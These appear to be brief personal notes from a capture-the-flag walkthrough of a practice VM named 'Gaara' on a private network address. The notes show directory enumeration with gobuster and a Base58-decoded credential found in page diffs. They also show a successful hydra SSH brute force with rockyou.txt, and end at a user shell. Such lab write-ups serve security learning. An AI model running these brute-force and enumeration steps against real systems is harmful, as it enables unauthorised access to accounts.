2 :80
http://192.168.71.142/
Image of Gaara
# (after ages of running) gobuster found >
http://192.168.71.142/Cryoserver
[at end of page]
/Temari
/KazekageFrom Base64
/iamGaara
# too CTF style
$ diff Temari Kazekage
$ diff Temari iamGaara
# shows text that has changed, looking into we find
f1MgN9mTf9SNbzRygcU
Using CyberChef,
From Base58 > gaara:ismyname
# tried ssh didn't work
# cewl > pass > hydra ssh - FAIL
# time to brute force
$ hydra -L users -P /usr/share/wordlists/rockyou.txt ssh://192.168.71.142 130 ⨯
[22][ssh] host: 192.168.71.142 login: gaara password: iloveyou2
1 of 1 target successfully completed, 1 valid password found
$ ssh gaara@192.168.71.142 255 ⨯
gaara@Gaara:~$ whoami;id
gaara
uid=1001(gaara) gid=1001(gaara) groups=1001(gaara)
Last updated